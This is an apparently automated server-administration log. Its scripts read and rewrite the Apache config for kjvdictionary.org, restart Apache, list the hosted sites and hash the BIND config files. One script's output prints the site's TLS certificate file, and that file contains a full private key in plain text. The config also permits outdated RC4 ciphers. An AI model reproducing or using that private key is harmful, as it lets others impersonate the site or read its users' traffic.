2025-09-16 06:00:15:
PUT: /tmp/pkp156871
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-16 06:00:15:
chmod 755 /tmp/pkp156871; /tmp/pkp156871; rm /tmp/pkp156871
2025-09-16 06:00:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-16 06:00:15:
PUT: /tmp/pkp346222
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi
2025-09-16 06:00:15:
chmod 755 /tmp/pkp346222; /tmp/pkp346222; rm /tmp/pkp346222
2025-09-16 06:00:15:
2025-09-16 06:00:15:
PUT: /tmp/pkp315661
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-16 06:00:15:
chmod 755 /tmp/pkp315661; /tmp/pkp315661; rm /tmp/pkp315661
2025-09-16 06:00:15:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-16 06:00:15: Establishing a connection
2025-09-16 06:00:15:
PUT: /tmp/pkp254155
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-16 06:00:15:
chmod 755 /tmp/pkp254155; /tmp/pkp254155; rm /tmp/pkp254155
2025-09-16 06:00:15:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-16 06:00:15:
PUT: /tmp/pkp852735
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-16 06:00:15:
chmod 755 /tmp/pkp852735; /tmp/pkp852735; rm /tmp/pkp852735
2025-09-16 06:00:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 1458
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-16 06:00:15:
PUT: /tmp/pkp801342
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-16 06:00:15:
chmod 755 /tmp/pkp801342; /tmp/pkp801342; rm /tmp/pkp801342
2025-09-16 06:00:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt 5390
2d:e5:bb:7c:3b:af:22:fe:50:f6:3a:a1:78:b9:65:55
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBrvF6Ka7h6mbpkP0XqvPLALZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE2MDUwMTQ0WhcNMjUxMjE1MDUwMTQzWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKLDE+EvtteVrcuDR/IqxpAVdCleENhxzIuk+C9vNO8z7OVLNVvclrT67skx
h8SJingcdE5uNL5VRPzupb+LWn2aboceiViuI9C+pNPZ0BG5LMIjOIdCOKEFyVnC
EoHnxc6gCH24CO6CseA7fhkYOqy6T9Oks/a6jFHmgxuQK8xW6uTzR6DhRcoAbzhZ
c59gbuk9thIHzJbiJ9xpNCMRu/VGl6pitZrplbZSpj7xLMn+A3maxy/8Djzgv6XG
PN6lui/HuPPswZ4ODDl2UYPUlndcy07WSnZ1EfcrpqY+PguIG5Dn0SLLEJnc1rJF
RkhBqUCQ4RH/Va36XW4I88kAEgMCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUGxDYeVyEtcSSMAgi/kR0UOYz5rAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTAuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZURwCngAABAMASDBGAiEA405jXgJ2A+4s+EbJIjjF1aAtoqTa
ct5pJvQYq8TmMzUCIQDShmSv3qtjzegEHWFm6YHqUsgyVmznLxHR4SDa8jdcDgB2
AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmVEcAtIAAAQDAEcw
RQIgLH/4EIchIw7mRp0E1UsukVlHBOkZkgXAN6q0kZg9EgoCIQCD2tLvr2AnOtGP
caN7lb8qJw01U0ewUDA/V9HeiKQ/QDANBgkqhkiG9w0BAQsFAAOCAQEAigwKVale
eFVgEFSU70cgrFWAF53mSwdfjyRxdlmNgtIq3BgeRGFJX57scH2xFu135pnM4Zv4
8pE07Ty9oG8TQ+jR0xeB7TD1vguMpQ7V0seQUEHQwVQwl4on25hngXMO0NkU2b8z
8VSNLWQqtmbFmQ2+9Opo4GYgDMGvA95dEm7WZxSkZaGaSmD6CAP0P9JuI6H8mvO/
X/fM7sLMLT2yKxm2eR1dOz+Omoq7CHWKbeTNvW4gz0Rut0rUQ0pJ+jF9zvpN2vvT
R33ioeulHexgI8t6EYbqh/d/lQ7lns50glbOcXcMDIJZdppGNES8i9DSQJ8hztEg
tNfeuIjcQS6cNA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCiwxPhL7bXla3L
g0fyKsaQFXQpXhDYccyLpPgvbzTvM+zlSzVb3Ja0+u7JMYfEiYp4HHRObjS+VUT8
7qW/i1p9mm6HHolYriPQvqTT2dARuSzCIziHQjihBclZwhKB58XOoAh9uAjugrHg
O34ZGDqsuk/TpLP2uoxR5oMbkCvMVurk80eg4UXKAG84WXOfYG7pPbYSB8yW4ifc
aTQjEbv1RpeqYrWa6ZW2UqY+8SzJ/gN5mscv/A484L+lxjzepbovx7jz7MGeDgw5
dlGD1JZ3XMtO1kp2dRH3K6amPj4LiBuQ59EiyxCZ3NayRUZIQalAkOER/1Wt+l1u
CPPJABIDAgMBAAECggEBAJ/5u61m94D4JmVUuL9mmdn+rDkIsuf7Gj/bOvFsjYva
7qoEfQK4Uwy5Y0AvRbHAOnCKDysTmRXGu9MbQaB9+MhhpOd79SVLq/o9l8Z+XMs+
xaZfde1EAmMKS/jEDurOAxdvJkljPKwpm2m5L9y8etdRHKr6RMRqYQcS2aSa1OG2
ru6L4j8U/evAElLZ7NqMC2e91aHwJmSda2CpwMh9tc42it7iogUXVpGwnPuSXCac
W6HJYc4iCz0uk1dkycPA1WwQmQ/N2Vf7a3ZThzJaBXqJ9vOeCtuAYF7xHrhO9R3C
LHWIhmBTWXHeHyxvxGzYNXNnL0hmqGy1FCBWRHEtHfkCgYEA1S3NiPULvrk5YjP/
0qMSvJU0UZJnZdoO7xEsiEaxF/QZ1EhLFdvJ20U62lymR8IcM/oNvwbMkGd83fNt
CN4069y3lS26isB5ZbeOkln9vmurqRp23u06jkUmzsMzP1E1RNvYr86d9tBI3cU1
a8pkPEqHKU5ZE+Qt1mJhtoeL1X0CgYEAw3S2AppVqSVEyYfpei3m/J6QgMKb7dKV
sV8nQJ+MygfDQ1LnnZ4TqO9nuTRPtF7VDF72UJfYNUFZ0Rm0qlkgjr/GJ6zgbpnP
Hxo7yaXevtCmJZqtaJCs46jrgknJOEefSDpzQNlZh5ES+wrE/9nYkWT20VD0ErZK
mkh6MDPaHX8CgYEA0nt66LMqeZHgurmk6ZDhuxmGotPvC32WKS3HznYd/QyjRBpt
KJPuZnWgemHoPAnIVvmaAPbxm9LSU0M6cPsVPZycFssj2EPamTf3qUD5bL5aq4jZ
vZp1qmtUuem5+9ZuxiJbfJqBFWTpzS4eZONcvLrJYVteUGmHaJmS6OpEgvECgYB8
uE2oDYlZnIFvQ721C/NYAWpd71CGihihDQHEF8tD434yyIUpK4SKCPIb2Qh/JQA3
m6T7OllpaiEA77E7/hFrZW3xRTwU9yqWQywheSlQg11xo2jBz4ey4cgd5C11Lyax
dTK0D700Z1tAO9gHFqA97rocSNbl1dJ27oahmYS1ywKBgQCK8y2tlg0Jh+sASMFI
0mSNmzlQrONHUTPBqaoTyhJnyX03uQb0DcEDi+kI1/TqvsPNXUMowg8PzdXFnvu9
W2Q9x6FBCLLgVDRZLcsZjrWNBQGn0f6ERMh3UrFy25WsoIn9iwxUJF7T2yunXF4l
wIUjuL4+VttfLr3l1urP51+gWw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-17 14:03:01: Establishing a connection
2025-09-17 14:03:01:
PUT: /tmp/pkp350248
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-17 14:03:01:
runuser -l bind -s /bin/bash -c '/tmp/pkp350248; rm /tmp/pkp350248'
2025-09-17 14:03:01:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
